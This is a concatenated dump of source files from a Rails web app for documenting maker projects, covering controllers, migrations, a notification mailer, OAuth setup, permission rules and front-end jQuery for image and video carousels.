# Script to generate news from existing mobile + desktop bip projects
def generate_news
website_project = Project.where(:title=>"Build in Progress Website").where(:remix_ancestry => nil).first()
if website_project
website_project.steps.order("created_at ASC").each do |step|
news_step_id = step.id
news_title = step.name
news_type = "website"
News.create(:title => news_title, :step_id => news_step_id, :news_type => news_type, :created_at => step.created_at)
end
end
mobile_project = Project.where(:title=>"Build in Progress Mobile").where(:remix_ancestry => nil).first()
if mobile_project
mobile_project.steps.order("created_at ASC").each do |step|
news_step_id = step.id
news_title = step.name
news_type = "mobile"
News.create(:title => news_title, :step_id => news_step_id, :news_type => news_type, :created_at => step.created_at)
end
end
end
end
<file_sep>/app/controllers/categories_controller.rb
class CategoriesController < ApplicationController
def index
@categories = Category.all
respond_to do |format|
format.html # index.html.erb
format.js
format.json { render :json => @collections }
end
end
# GET /categories/1
# GET /categories/1.json
def show
@category = Category.find(params[:id])
@all_projects = @category.projects.order("updated_at DESC")
@projects = @category.projects.order("updated_at DESC")
respond_to do |format|
format.html
format.json { render :json => @collections }
end
end
# GET /categories/new
# GET /categories/new.json
def new
@category = Category.new
respond_to do |format|
format.html { create }
format.json { render :json => @collection }
end
end
# GET /categories/1/edit
def edit
@category = Category.find(params[:id])
end
# DELETE /categories/1
# DELETE /categories/1.json
def destroy
@category = Category.find(params[:id])
@category.destroy
respond_to do |format|
format.html { redirect_to user_path(current_user.username) }
format.json { head :no_content }
end
end
end
<file_sep>/db/migrate/20140806050442_remove_email_notify_from_user.rb
class RemoveEmailNotifyFromUser < ActiveRecord::Migration
def up
remove_column :users, :email_notify
end
end
<file_sep>/app/mailers/notification_mailer.rb
class NotificationMailer < ActionMailer::Base
include Roadie::Rails::Automatic
default from: ENV["GMAIL_USERNAME"]
def notification_message(activity, user)
# Rails.logger.debug("=========IN NOTIFICAFTION MESSAGE========")
@user = user
@activity = activity
# generate subject of message based on activity type
if @activity.is_comment?
# username commented on project_title
# Rails.logger.debug("=========CREATE COMMENT MAILER========")
subject = @activity.trackable.user.username + ' commented on ' + @activity.trackable.commentable.project.title
@type = "comment"
elsif @activity.is_featured?
# project_title has been featured!
# Rails.logger.debug("=========CREATE FEATURED MAILER========")
subject = @activity.trackable.title + ' has been featured!'
@type = "featured"
elsif @activity.is_added_as_collaborator?
# Rails.logger.debug("=========CREATE COLLABORATOR MAILER========")
# adder_username added you as a collaborator on project_title
subject = @activity.owner.username + " added you as a collaborator on " + @activity.trackable.title
@type = "collaborator"
elsif @activity.is_favorited?
# Rails.logger.debug("=========CREATE FAVORITED MAILER========")
# project_title was favorited by username
subject = @activity.trackable.user.username + ' favorited ' + @activity.trackable.project.title
@type = "favorited"
elsif @activity.is_added_to_collection?
# Rails.logger.debug("=========CREATE COLLECTION MAILER - RECIPIENT========")
# project_title was added to the collection collection_name
subject = @activity.trackable.project.title + ' was added to the collection ' + @activity.trackable.collection.name
@type = "collectify_recipient"
elsif @activity.is_updated_collection?
# Rails.logger.debug("=========CREATE COLLECTION MAILER - OWNER========")
# project_title was added to the collection collection_name
subject = @activity.owner.username + ' updated the collection ' + @activity.trackable.collection.name
@type = "collectify_owner"
elsif @activity.is_followed?
# Rails.logger.debug("=========CREATE FOLLOWED MAILER========")
# username followed you
subject = @activity.owner.username + ' followed you'
@type = "followed"
elsif @activity.is_remixed?
# Rails.logger.debug("=========CREATE REMIX MAILER========")
# username remixed project_title
subject = @activity.owner.username + ' remixed ' + @activity.trackable.root.title
@type = "remixed"
end
# Rails.logger.debug("notification subject: #{subject}")
mail(to: @user.email, subject: subject)
end
end
<file_sep>/db/migrate/20130702022109_rename_image_file.rb
class RenameImageFile < ActiveRecord::Migration
def up
rename_column :images, :file, :image_path
end
def down
end
end
<file_sep>/test/unit/helpers/collectifies_helper_test.rb
require 'test_helper'
class CollectifiesHelperTest < ActionView::TestCase
end
<file_sep>/config/initializers/omniauth.rb
require File.expand_path('lib/omniauth/strategies/village', Rails.root)
OmniAuth.config.on_failure = Proc.new do |env|
SessionsController.action(:omniauth_failure).call(env)
#this will invoke the omniauth_failure action in SessionsController.
end
Rails.application.config.middleware.use OmniAuth::Builder do
provider :google_oauth2, ENV["GOOGLE_CLIENT_ID"], ENV["GOOGLE_CLIENT_SECRET"]
end<file_sep>/app/assets/javascripts/steps.js
//////////////////////////////////
//////////////////////////////////
/////// IMAGE FUNCTIONS ///////
//////////////////////////////////
//////////////////////////////////
var zoom; // this is used for determining the zoom level in the mobile application branching
// function check_valid_filetype
// check that the uploaded image is a valid filetype (jpeg, png, or gif)
// file: the file being uploaded
function check_valid_filetype(file){
// console.log(file.size);
regex = /(\.|\/)(gif|jpe?g|png)$/i;
if (regex.test(file.name) == false){
// alert('Please select a valid image type (jpeg, png, or gif).');
return false;
}
else if (file.size > 5000000 ) {
alert('Your file is too large! Please select a file that is less than 5MB.');
return false;
}
else {
return true;
}
}
// function lazyContainer
// lazy load assets in carousels
function lazyContainer(searchNode) {
// lazy load images
$(searchNode).find('img.lazy').each(function() {
var imgSrc = $(this).attr('data-src');
if (imgSrc) {
$(this).hide();
$(this).attr('src',imgSrc);
$(this).attr('data-src','');
$(this).fadeIn();
}
});
$(searchNode).find('video.lazy').each(function(){
var sources = $(this).find('source');
sources.each(function(){
var videoSrc = $(this).attr('data-src');
// console.log(videoSrc);
if(videoSrc){
$(this).hide();
$(this).attr('src', videoSrc);
$(this).attr('data-src', '');
$(this).parent().load();
$(this).fadeIn();
}
})
})
}
// function destroy_saved_image(item)
// remove image from the step form (both from the carousel and the thumbnail gallery)
// item = $('.image') thumbnail item (corresponding to image whose trash icon was clicked)
function destroy_saved_image(item){
// console.log('in destroy saved image');
var step_carousel = $('.mainPhoto:not(.projectOverviewCarousel)');
// get carousel image and remove
if(item.attr('id')!=undefined){
// user is editing an image that has already been saved to the DB
var imageID = getImageID(item.attr('id'));
// console.log("imageID: " + imageID);
var carouselItem = step_carousel.find('.'+imageID).closest('.item');
var carouselIndex = step_carousel.find('.item').index(carouselItem);
carouselItem.remove();
}else{
// user is editing an image that was just uploaded
var image_src = item.find('img').attr('src');
var carouselItem = step_carousel.find('img[src="'+image_src+'"]').closest('.item');
var carouselIndex = step_carousel.find('.item').index(carouselItem);
carouselItem.remove();
}
// remove image from thumbnail gallery
item.fadeOut(1000);
item.remove();
if(carouselIndex==0){
step_carousel.carousel(carouselIndex+1);
step_carousel.find('.item').first().addClass('active');
}else{
step_carousel.carousel(carouselIndex-1);
step_carousel.find('.item').last().addClass('active');
}
if($('.image').length==0){
$('#blankPhoto').fadeIn(500);
addImageButton("left");
}
var stepImagesCount = $('.image').length;
if(stepImagesCount==1){
// hide the navigation if there's only one image
$('.carousel .carousel-control').fadeOut();
}
// reset the modal forms
resetVideoModal();
resetOtherMediaModal();
}
// function getRotation(image)
// get the current rotation value of an image object
// image: jQuery image object
function getRotation(image){
// get current rotation of image
var transform_matrix = image.css("-webkit-transform") ||
image.css("-moz-transform") ||
image.css("-ms-transform") ||
image.css("-o-transform") ||
image.css("transform");
// console.log('transform matrix: ' + transform_matrix);
if(transform_matrix=="none" || typeof transform_matrix=='undefined'){
return 0;
}else{
var values = transform_matrix.split('(')[1];
values = values.split(')')[0];
values = values.split(',');
var a = values[0];
var b = values[1];
var c = values[2];
var d = values[3];
var scale = Math.sqrt(a*a + b*b);
var sin = b/scale;
var angle = Math.round(Math.atan2(b, a) * (180/Math.PI));
return angle;
}
}
// function getFancyboxImageID()
// get the id of the image to be loaded in the fancybox slideshow
function getFancyboxImageID(){
var src_url = $('.fancybox-image').attr('src');
var src_url_2 = src_url.substring(src_url.indexOf('image_path')+"image_path".length+1, src_url.length);
var id = src_url_2.substring(0, src_url_2.indexOf('/'));
return id;
}
// function getFancyboxRotation()
// get the rotation value of the image to be loaded in the fancybox slideshow
// id: id of the image (integer)
function getFancyboxRotation(id){
var rotation = getRotation($($('#img_link_'+id).find('img')));
return rotation;
}
// function fancyboxRotate()
// rotate the image in the fancybox slideshow if it's been rotated on the step form
// rotation: rotation value (integer)
function fancyboxRotate(rotation){
var rotation_string = 'rotate('+rotation+'deg)';
console.log('rotating fancybox with rotation_string: ' + rotation_string);
$('.fancybox-wrap').css('webkitTransform', rotation_string);
$('.fancybox-wrap').css('-moz-transform', rotation_string);
}
// function applyImageRotation(carousel_img, thumbnail_img, rotation)
// apply a given rotation value to both the carousel and thumbnail images (depending on whether we're on the index or edit page)
// carousel_img: jQuery object for carousel image to be rotated
// thumbnail_img: jQuery object of the thumbnail image to be rotated
// rotation: rotation value (integer)
// pageSource: whether we're coming from edit or index page
function applyImageRotation(carousel_img, thumbnail_img, rotation, pageSource){
// console.log(' ');
// console.log('apply image rotation');
if(pageSource=="edit" || pageSource=="new"){
var carousel_width = '337px'; // width of image in carousel on edit page
}else if(pageSource=="index"){
var carousel_width = '381px'; // width of image in carousel on index page
}
var thumbnail_width = '99px'; // width of thumbnail image in thumbGallery
var rotation_string = 'rotate('+rotation+'deg)';
carousel_img.css('webkitTransform', rotation_string);
carousel_img.css('-moz-transform', rotation_string);
// set rotation for project overview carousel
$('.projectOverviewCarousel img[src="' + carousel_img.attr('src') + '"]').css('webkitTransform', rotation_string);
$('.projectOverviewCarousel img[src="' + carousel_img.attr('src') + '"]').css('-moz-transform', rotation_string);
$('.projectOverviewCarousel img[src="' + carousel_img.attr('src') + '"]').css('height', $('.projectOverviewPhoto').width()+"px");
thumbnail_img.css('webkitTransform', rotation_string);
thumbnail_img.css('-moz-transform', rotation_string);
if(rotation/90 %2 == 0){
// 180, 360 degrees
carousel_img.height('auto');
carousel_img.removeClass('rotated_odd');
carousel_img.addClass('rotated_even');
thumbnail_img.height('auto');
thumbnail_img.removeClass('rotated_odd');
thumbnail_img.addClass('rotated_even');
}else{
// 90, 270 degrees
carousel_img.css('height', carousel_width);
carousel_img.removeClass('rotated_even');
carousel_img.addClass('rotated_odd');
if(pageSource == "edit" || pageSource == "new"){
setCarouselImageMargins(carousel_img, carousel_width, undefined, undefined);
}
else if(pageSource=="index"){
$('<img/>').on('load', function(){
// console.log($(this).attr('src'));
// console.log('carousel_img dimensions: ' + this.width + ' ' + this.height);
// calculate expanded dimensions
this.width = this.width * parseInt(carousel_width) / this.height;
this.height = parseInt(carousel_width); //width is actually height with rotated image
// console.log('final image and width: ' + this.width + ' ' + this.height);
setCarouselImageMargins(carousel_img, carousel_width, this.width, this.height);
}).attr('src', carousel_img[0].src);
}
thumbnail_img.css('height', thumbnail_width);
thumbnail_img.removeClass('rotated_even');
thumbnail_img.addClass('rotated_odd');
if(pageSource=="edit" || pageSource=="new"){
setThumbnailMargins(thumbnail_img, thumbnail_width);
}else if(pageSource=="index"){
thumbnail_img.on('load', function(){
// console.log('applying thumbnail image margins');
setThumbnailMargins($(this), thumbnail_width);
});
}
}
}
// function setThumbnailMargins(image, width)
// set the left margin for centering a thumbnail image in the thumbgallery after its been rotated
// image: jQuery object of thumbnail image to be rotated
// width: width of the image container (integer)
function setThumbnailMargins(image, width){
var image_width = image.width();
var image_height = image.height();
// console.log('setThumbnailMargins with thumbnail width: ' + image_width + " thumbnail height: " + image_height);
if(image_width < image_height){
thumbnail_left_margin = (image_height-parseInt(width))/2*-1;
}else{
thumbnail_left_margin = (image_width-parseInt(width))/2*-1;
}
image.css('margin-left', thumbnail_left_margin);
image.removeClass('temp-image-thumbnail'); // remove class that 'hides' the image from view
image.parent().find('.actions.direct').fadeIn(500);
}
// function setCarouselMargins(image, width)
// set the left and top margins for centering a carousel image after it has been rotated
// image: jQuery object of carousel image to be rotated
// width: width of the image container (integer)
// image_width: specified width of image (this is used to override the image.width if the image has not yet been uploaded)
// image_height: specified height of image (this is used to override the image.height of the image has not yet been uploaded)
function setCarouselImageMargins(image, width, image_width, image_height){
var height = '225px'; // carousel height
if(image_width == undefined && image_height == undefined ){
// console.log('calculating image width and height');
image_width = image.width();
image_height = image.height();
}
// console.log('carousel image width: ' + image_width);
// console.log('carousel image height: ' + image_height);
// console.log('carousel width: ' + width);
if(image_height > image_width){
var carousel_top_margin = (image_height - parseInt(height))/2*-1
image.css('margin-top', carousel_top_margin+15);
}
var carousel_left_margin = (image_width-parseInt(width))/2*-1;
image.css('margin-left', carousel_left_margin);
// console.log('carousel_left_margin: ' + carousel_left_margin);
// console.log(' ');
}
/////////////////////////////////////////
/////////////////////////////////////////
/////// VIDEO + SOUND FUNCTIONS ///////
/////////////////////////////////////////
/////////////////////////////////////////
function callPlayer(frame_id, func, args) {
if (window.jQuery && frame_id instanceof jQuery) frame_id = frame_id.get(0).id;
var iframe = document.getElementById(frame_id);
if (iframe && iframe.tagName.toUpperCase() != 'IFRAME') {
iframe = iframe.getElementsByTagName('iframe')[0];
}
// When the player is not ready yet, add the event to a queue
// Each frame_id is associated with an own queue.
// Each queue has three possible states:
// undefined = uninitialised / array = queue / 0 = ready
if (!callPlayer.queue) callPlayer.queue = {};
var queue = callPlayer.queue[frame_id],
domReady = document.readyState == 'complete';
if (domReady && !iframe) {
// DOM is ready and iframe does not exist. Log a message
window.console && console.log('callPlayer: Frame not found; id=' + frame_id);
if (queue) clearInterval(queue.poller);
} else if (func === 'listening') {
// Sending the "listener" message to the frame, to request status updates
if (iframe && iframe.contentWindow) {
func = '{"event":"listening","id":' + JSON.stringify(''+frame_id) + '}';
iframe.contentWindow.postMessage(func, '*');
}
} else if (!domReady ||
iframe && (!iframe.contentWindow || queue && !queue.ready) ||
(!queue || !queue.ready) && typeof func === 'function') {
if (!queue) queue = callPlayer.queue[frame_id] = [];
queue.push([func, args]);
if (!('poller' in queue)) {
// keep polling until the document and frame is ready
queue.poller = setInterval(function() {
callPlayer(frame_id, 'listening');
}, 250);
// Add a global "message" event listener, to catch status updates:
messageEvent(1, function runOnceReady(e) {
if (!iframe) {
iframe = document.getElementById(frame_id);
if (!iframe) return;
if (iframe.tagName.toUpperCase() != 'IFRAME') {
iframe = iframe.getElementsByTagName('iframe')[0];
if (!iframe) return;
}
}
if (e.source === iframe.contentWindow) {
// Assume that the player is ready if we receive a
// message from the iframe
clearInterval(queue.poller);
queue.ready = true;
messageEvent(0, runOnceReady);
// .. and release the queue:
while (tmp = queue.shift()) {
callPlayer(frame_id, tmp[0], tmp[1]);
}
}
}, false);
}
} else if (iframe && iframe.contentWindow) {
// When a function is supplied, just call it (like "onYouTubePlayerReady")
if (func.call) return func();
// Frame exists, send message
iframe.contentWindow.postMessage(JSON.stringify({
"event": "command",
"func": func,
"args": args || [],
"id": frame_id
}), "*");
}
/* IE8 does not support addEventListener... */
function messageEvent(add, listener) {
var w3 = add ? window.addEventListener : window.removeEventListener;
w3 ?
w3('message', listener, !1)
:
(add ? window.attachEvent : window.detachEvent)('onmessage', listener);
}
}
// function stopiFrame(carousel)
// stops all iframes when switching in carousel
// carousel: jQuery carousel object
function stopiFrame(carousel){
var iframes = carousel.find('iframe');
for(var i =0; i< iframes.length; i++){
var iframe = $(iframes[i])
if(iframe.parents('.item').hasClass('active')){
// console.log('stopping video ' + iframe.attr('id'));
if(iframe.attr('src').indexOf("youtube") > 0){
callPlayer($(iframes[i]).attr('id'), "pauseVideo");
}else{
iframe.attr('src', iframe.attr('src'));
}
}
}
}
// function stopSoundcloud(carousel)
// stop all soundcloud players in this carousel from playing
// carousel: jQuery carousel object
function stopSoundcloud(carousel){
carousel.find('iframe').each(function(index,iframe){
if (iframe.src.indexOf("soundcloud") >=0){
// console.log('stopping soundclouds');
SC.Widget(iframe).pause();
}
});
}
// function stopHTMLVideo(carousel)
// stop html players from playing in this carousel
// carousel: jQuery carousel object
function stopHTMLVideo(carousel){
carousel.find('video').each(function(index, video){
// console.log('video: ' + video);
video.pause();
});
}
// function reset_videos(carousel)
// reset video (used to trigger playing of iframes in the carousel)
// carousel: jQuery carousel object
function reset_videos(carousel){
// stop all videos
stopiFrame(carousel);
stopHTMLVideo(carousel);
}
//////////////////////////////////////
//////////////////////////////////////
/////// <NAME> ///////
//////////////////////////////////////
//////////////////////////////////////
// function loadCarousels(source)
// load the image carousels on project pages
function loadCarousels(source){
// enable pointer cursor when user hovers over thumbnail gallery images
$('.thumbGallery').addClass('view');
// change cursor to pointer if hovering over thumbnails
$('.thumbGallery img').on('hover', function(){
// console.log('hovering over image from loadCarousel');
$(this).css("cursor", "pointer");
}, function(){
$(this).css("cursor", "default");
});
// set photo active in carousel when thumbnail is clicked
if(source!="edit"){
$('.thumbGallery .image').on('click', function(){
var child_image = $(this).find('img')
var carouselID = child_image.attr("data-parent");
var image = parseInt(child_image.attr("data-position"));
// console.log('clicked on thumbnail ' + image + ' in carousel ' + carouselID);
// slide to the element in the slideshow
$('.carousel.'+carouselID).carousel(image);
});
}
}
// function setCarousel(image_src)
// go to the specified image in carousel on the edit page
// image_src: the id of the image (active record id)
function setCarousel(image_id){
// console.log('set carousel image');
// find the position of the selected image and set it to active
// console.log('image_id: ' + image_id);
var image_index = $('.mainPhoto:not(".projectOverviewCarousel") img.'+image_id).closest('.item').index();
// slide to that element
$('.mainPhoto:not(".projectOverviewCarousel")').carousel(image_index);
}
/* carousel_video_iframe - return embed code for video iframe (from youtube or vimeo)
video_source = embed url for the youtube / vimeo video
step_id = id of the step the video belongs to
image_id = id of the image associated with the video
active = whether or not the image is the first one in the carousel
*/
function carousel_video_iframe(video_source, step_id, image_id, active){
return '<div class="item embed_video ' + active +'"><div class="flex-video"><a class="fancybox" href="'+video_source+'" rel="gallery ' + step_id + '" data-fancybox-type="iframe"><iframe src="'+ video_source + '?enablejsapi=1" class="' + image_id + '" id="video_' + image_id + '" allowfullscreen="allowfullscreen"></iframe></a></div></div>'
}
/* carousel_video_player - return code to embed html 5 player for uploaded videos
video_source = url of the video (from amazon s3)
step_id = id of the step the video belongs to
image_id = id of the image associated with the video
active = whether or not the image is the first one in the carousel
*/
function carousel_video_player(video_source_mp4, step_id, image_id, active){
return '<div class="item s3_video ' + active + '"><div class="flex-video uploaded-video"><a class="fancybox fancy_video" href="'+video_source_mp4 +'" rel="gallery ' + step_id + '" data-fancybox-type="html"></a><video controls><source src="'+ video_source_mp4+ '" class="' + image_id + '" id="video_' + image_id + '" type="video/mp4"></video></div></div>'
}
/* carousel_video_player_lazy - return code to embed html 5 player for uploaded videos - with loazy loading!
video_source = url of the video (from amazon s3)
step_id = id of the step the video belongs to
image_id = id of the image associated with the video
active = whether or not the image is the first one in the carousel
*/
function carousel_video_player_lazy(video_source_mp4, step_id, image_id, active){
return '<div class="item s3_video ' + active + '"><div class="flex-video uploaded-video"><a class="fancybox fancy_video" href="'+video_source_mp4 +'" rel="gallery ' + step_id + '" data-fancybox-type="html"></a><video controls class="lazy"><source src="'+ ""+ '" class="' + image_id + '" id="video_' + image_id + '" type="video/mp4" data-src="'+ video_source_mp4 + '"></video></div></div>'
}
/* carousel_soundcloud_iframe - return code to embed soundcloud player
souncloud_source = embed url for the soundcloud file
step_id = id of the step the video belongs to
image_id = id of the image associated with the sound
active = whether or not the image is the first one in the carousel
*/
function carousel_soundcloud_iframe(sound_source, step_id, image_id, active){
return '<div class="item sound '+active+'"><div class="soundcloud"><a class="fancybox" href="'+sound_source+'" rel="gallery ' + step_id + '" data-fancybox-type="iframe"><iframe src="'+ sound_source + '&show_comments=true&show_artwork=false" class="' + image_id + '" id="sound_' + image_id + '"></iframe></a></div></div>'
}
/* carousel_caption - returns caption for remixed images to place in carousel
image_id = the id # of the image in the carousel
project_overview = boolean to store whether or not we're from the project overview carousel
original_project_path = link to the original project
original_project_title = title of the original project
user_profile_path = link to the user profile
original_user = the author's name
*/
function remix_caption(image_id, project_overview, original_project_path, original_project_title, user_profile_path, original_user){
if(project_overview){
var media_object = $('.projectOverviewCarousel .'+image_id);
}else{
var media_object = $('.carousel').not('projectOverviewCarousel').find('.'+image_id);
}
var media_object_item = media_object.closest('.item');
// add caption to carousel
media_object_item.append('<div class="carousel-caption">from <a href ="'+original_project_path+'">'+original_project_title+'</a> by <a href="'+user_profile_path+'">'+original_user+'</a></div>');
// adjust the size of videos to enable controls to be used with caption
if(media_object_item.hasClass('embed_video')){
media_object_item.find('iframe').css('height', '95%');
}else if(media_object_item.hasClass('s3_video')){
media_object.closest('.item').find('video').css('height', '95%');
}
// add caption to fancybox
if(media_object.first().closest('.item').hasClass('s3_video')){
media_object.first().closest('.flex-video').children('a').attr("title", 'from <a href ="'+original_project_path+'">'+original_project_title+'</a> by <a href="'+user_profile_path+'">'+original_user+'</a></div>');
}else{
media_object.closest('a').attr("title", 'from <a href ="'+original_project_path+'">'+original_project_title+'</a> by <a href="'+user_profile_path+'">'+original_user+'</a></div>');
}
}
//////////////////////////////
/////// DESIGN FILES ///////
//////////////////////////////
/* function remove_design_file()
removes a design file from the form
*/
function remove_design_file(){
console.log('removing existing design file');
$('.file_to_remove').parents('.design_file_row').fadeOut('300');
event.preventDefault();
}
/* function addRemoveLInks()
show or hide remove file link for design files form
*/
function addRemoveLinks(){
$('.design_file_upload_fieldset').each( function(){
if( $(this).find('label').length > 0 ){
$(this).find('.remove_fields').show();
}else {
$(this).find('.remove_fields').hide();
}
});
}
/* function addField(input)
add a new design file field to the form
*/
function addField(input) {
var max_limit_for_file = 10000000; // do not allow files greater than 100MB
if(input.files[0].size > max_limit_for_file){
$(input).val('');
alert("Your design file is greater than 10 MB and cannot be uploaded.")
}else{
console.log('add design field input');
// remove the filefield of recently uploaded file and replace with existing file styling
var filename = $(input).val().split('\\').pop();
console.log(filename);
$(input).parents('fieldset').prepend('<label>'+filename+'</label>');
$(input).hide();
$(input).parent().hide();
$(input).parents('fieldset').find('.destroy_design_file').val('0');
$('.add_fields').click();
}
}
////////////////////////////////
/////// MISC FUNCTIONS ///////
////////////////////////////////
function getImageID(fullID){
var start = fullID.indexOf('_')+1;
return fullID.substring(start, fullID.length);
}
// highlight div for 1.5 seconds
$.fn.animateHighlight = function(highlightColor, duration){
var highlightBg = highlightColor || "#FFFF9C";
var animateMs = duration || 1500;
var originalBg = this.css("backgroundColor");
this.stop().css("background-color", highlightBg).animate({backgroundColor: originalBg}, animateMs);
}
// finds the numerical ID for a class containing an identifier (for example, passing
// getClassID("step", "step_2") for an element with the class "step_2" will return 2)
function getClassID(identifier, full_class){
var start = full_class.indexOf('identifier')+identifier.length+2;
var end = full_class.length;
return full_class.substring(start, end);
}
// function navArrowVisibility
// set the visibility of arrows in the projectTitleBar
function navArrowVisibility(){
// console.log('in navArrowVisibility');
if(currentStep != stepIDs[stepIDs.length-1]){
$('#projectTitleBar .fa-angle-right').css('visibility', 'visible');
// console.log('making right nav visible');
}else{
$('#projectTitleBar .fa-angle-right').css('visibility', 'hidden');
}
$('#projectTitleBar .fa-angle-left').css('visibility', 'visible');
}
///////////////////////////////////
/////// PAGE LOAD THINGS ///////
///////////////////////////////////
$(function(){
// load best in place and rest in place for editing project name, description
$('.best_in_place').best_in_place();
$('.rest-in-place').restInPlace();
// add a design file field to the form
$('form').on('click', '.add_fields', function(event) {
time = new Date().getTime();
regexp = new RegExp($(this).data('id'), 'g');
$(this).parent().before($(this).data('fields').replace(regexp, time));
$(this).find('.destroy_design_file').val('1');
addRemoveLinks();
});
$('form').on('click', '.remove_fields', function(event){
console.log('clicked remove_fields');
$(this).addClass('file_to_remove');
// remove newly upploaded files
if($(this).parents('.design_file_upload_fieldset').length>0){
$(this).prev('input[type=hidden]').val('1');
$(this).parents('.design_file_upload_fieldset').fadeOut('300');
}
event.preventDefault();
});
// start carousel
$('.carousel.slide').carousel({
interval: false
});
// initiate fancybox lightbox plugin - enable rotation features ony in edit mode
var pageURL = window.location.pathname;
// for fancybox video
var $video_player, _videoHref, _videoPoster, _videoWidth, _videoHeight, _dataCaption, _player, _isPlaying = false;
if(pageURL.indexOf('edit')>0 || pageURL.indexOf('new')>0){
// we're on the edit page
$(".fancybox").on('click', function(){
// retrieve all link items from this gallery to use for determining fancybox type
var gallery_array = $(this).attr('rel').split(/(\s+)/);
var gallery_name = gallery_array[gallery_array.length-1];
var galleryItems = $('a[rel*='+gallery_name+']');
$('.fancybox').fancybox({
helpers: {
type: $(galleryItems[this.index]).data('fancyboxType'),
overlay: {
locked: false
}
},
arrows: false,
closeBtn: false,
beforeLoad: function(){
if($(galleryItems[this.index]).hasClass('fancy_video')){
// console.log('LOADING VIDEO IN FANCYBOX');
_videoHref = this.href;
_videoWidth = $(window).width()*1.5;
// console.log('videoWidth: ' + _videoWidth);
this.content = "<video id='video_player' src='" + _videoHref + "' width='" + _videoWidth + "' controls='controls' preload='none' ></video>";
this.width = _videoWidth;
}
},
beforeShow: function(){
// console.log('in beforeShow of fancybox');
if($('.fancybox-image').length>0){
$('.fancybox-wrap').css('display', 'none');
}
if($(galleryItems[this.index]).hasClass('fancy_video')){
$('.fancybox-wrap').css('visibility', 'hidden');
}
},
afterShow: function(){
if($(galleryItems[this.index]).hasClass('fancy_video')){
var $video_player = new MediaElementPlayer('#video_player', {
success : function (mediaElement, domObject) {
mediaElement.play(); // autoplay video (optional)
mediaElement.addEventListener('loadeddata', function(){
$.fancybox.toggle();
$('.fancybox-wrap').css('visibility', 'visible');
});
} // success
});
}
if($('.fancybox-image').length>0){
var src = $('.fancybox-image').attr('src');
// console.log('src: ' + src);
if(src.indexOf('image_path')>0){
var imageID = getFancyboxImageID();
var rotation = getFancyboxRotation(imageID);
}else{
var rotation = getRotation($('.stepImage img[src="'+src+'"]'));
}
// console.log('fancybox rotation: ' + rotation);
if(rotation!=0){
fancyboxRotate(rotation);
}
$('.fancybox-wrap').fadeIn();
}
}
});
});
}else{
var img_rotation = 0;
// we're on the index page
$('.fancybox').on('click', function(){
// retrieve all link items from this gallery to use for determining fancybox type
var gallery_name = $($(this).attr('rel').split(/(\s+)/)).get(-1);
var galleryItems = $('a[rel*='+gallery_name+']');
$(".fancybox").fancybox({
helpers: {
type: $(galleryItems[this.index]).data('fancyboxType'),
overlay: {
locked: false
}
},
beforeLoad: function(){
// console.log('fancybox-type: ' + $(galleryItems[this.index]).data('fancyboxType'));
if($(galleryItems[this.index]).hasClass('fancy_video')){
// console.log('LOADING VIDEO IN FANCYBOX');
_videoHref = this.href;
_videoWidth = $(window).width()*1.5;
// console.log('videoWidth: ' + _videoWidth);
this.content = "<video id='video_player' src='" + _videoHref + "' width='" + _videoWidth + "' controls='controls' preload='none' ></video>";
this.width = _videoWidth;
}
this.href = this.href + "?v=" + new Date().getTime(); // ensure image shown is not cached
img_rotation = $(this.element).data('rotation');
},
afterLoad: function(){
// add navigation dots
var list = $("#links");
if (!list.length) {
list = $('<ul id="links">');
for (var i = 0; i < this.group.length; i++) {
$('<li data-index="' + i + '"><label></label></li>').click(function() { $.fancybox.jumpto( $(this).data('index'));}).appendTo( list );
}
list.appendTo( 'body' );
}
list.find('li').removeClass('active').eq( this.index ).addClass('active');
},
beforeShow: function(){
if(typeof img_rotation != 'undefined' && img_rotation !=0){
$('.fancybox-wrap').css('display', 'none');
fancyboxRotate(parseInt(img_rotation));
}
if($(galleryItems[this.index]).hasClass('fancy_video')){
$('.fancybox-wrap').css('visibility', 'hidden');
// $('.fancybox-wrap').hide();
}
},
afterShow: function(){
if(typeof img_rotation != 'undefined' && img_rotation!=0){
$('.fancybox-nav').hide();
$('.fancybox-close').hide();
$('.fancybox-title').hide();
$('.fancybox-wrap').fadeIn();
img_rotation =0;
}
if($(galleryItems[this.index]).hasClass('fancy_video')){
var $video_player = new MediaElementPlayer('#video_player', {
success : function (mediaElement, domObject) {
mediaElement.play(); // autoplay video (optional)
mediaElement.addEventListener('loadeddata', function(){
$.fancybox.toggle();
$('.fancybox-wrap').css('visibility', 'visible');
});
} // success
});
}
},
beforeClose: function(){
// remove links
$("#links").remove();
}
});
});
}
// function clearCacheImages()
// clears cache (to ensure image is show in correct orientation)
function clearCacheImages(source){
jQuery('img').each(function(){
jQuery(this).attr('src',jQuery(this).attr('src')+ '?' + (new Date()).getTime());
});
}
$(document).ready(function(){
clearCacheImages();
})
});
<file_sep>/db/migrate/20130705223933_add_video_embed_url_to_images.rb
class AddVideoEmbedUrlToImages < ActiveRecord::Migration
def change
add_column :images, :video_embed_url, :string
end
end
<file_sep>/app/controllers/tasks_controller.rb
# for testing fetching json with android app
class TasksController < ApplicationController
skip_before_filter :verify_authenticity_token,
:if => Proc.new { |c| c.request.format == 'application/json' }
# Just skip the authentication for now
before_filter :authenticate_user!
respond_to :json
def index
render :text => '{
"success":true,
"info":"ok",
"data":{
"tasks":[
{"title":"Complete the app"},
{"title":"Complete the tutorial"}
]
}
}'
end
end<file_sep>/db/migrate/20130922031927_create_collectifies.rb
class CreateCollectifies < ActiveRecord::Migration
def change
create_table :collectifies do |t|
t.integer :collection_id
t.integer :project_id
t.timestamps
end
add_index :collectifies, :collection_id
add_index :collectifies, :project_id
add_index :collectifies, [:collection_id, :project_id], unique: true
end
end
<file_sep>/db/migrate/20131219000121_add_viewed_to_activities.rb
class AddViewedToActivities < ActiveRecord::Migration
def change
add_column :activities, :viewed, :boolean, :default => false
end
end
<file_sep>/test/unit/helpers/image_ur_ls_helper_test.rb
require 'test_helper'
class ImageUrLsHelperTest < ActionView::TestCase
end
<file_sep>/app/models/ability.rb
class Ability
include CanCan::Ability
def initialize(user)
user ||= User.new
# STEP permissions: user can only create, update, and destroy steps belonging
# to a project they've authored
can :create, Step do |step|
step.project.users.include? user
end
can :update, Step do |step|
(step.project.users.include? user) || user.admin?
end
can :destroy, Step do |step|
step.project.users.include? user
end
can :update_ancestry, Step do |step|
(step.project.users.include? user) || user.admin?
end
can :read, Project do |project|
if (project.users.include? user) || (!project.private?) || (user && user.admin?)
Rails.logger.debug("can read")
can :read, :all
end
end
# PROJECT permissions: user can only update and destroy projects they've authored
# user can only add or remove users if they're an author on the project
can :update, Project do |project|
project.users.include? user || user.admin?
end
